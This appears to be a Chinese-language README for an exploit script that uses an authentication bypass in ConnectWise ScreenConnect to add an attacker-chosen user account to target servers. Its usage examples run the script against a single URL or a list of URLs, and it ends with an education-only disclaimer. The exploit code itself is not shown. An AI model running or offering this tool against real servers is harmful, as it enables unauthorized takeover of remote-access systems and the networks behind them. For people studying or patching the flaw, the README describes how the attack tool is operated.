ConnectWise ScreenConnect: 身份验证绕过漏洞

简介

本项目旨在利用 ConnectWise ScreenConnect 中的身份验证绕过漏洞。它提供了一个脚本来演示该利用方法。在使用此脚本之前，请确保您拥有必要的权限。

使用方法

python exploit.py [选项]

选项：

• --username：要添加的用户名 (必填)。
• --password：要添加的密码 (必填)。
• --urls：包含 URL 列表的文件路径。
• --url：仅在此 URL 上运行。

注意：--urls 或 --url 必须选择其一。

示例

python exploit.py --username admin --password p@ssw0rd --urls urls.txt
python exploit.py --username admin --password p@ssw0rd --url 'http://127.0.0.1/'

免责声明

本项目仅供教育用途。使用风险自负。作者不对其滥用承担任何责任。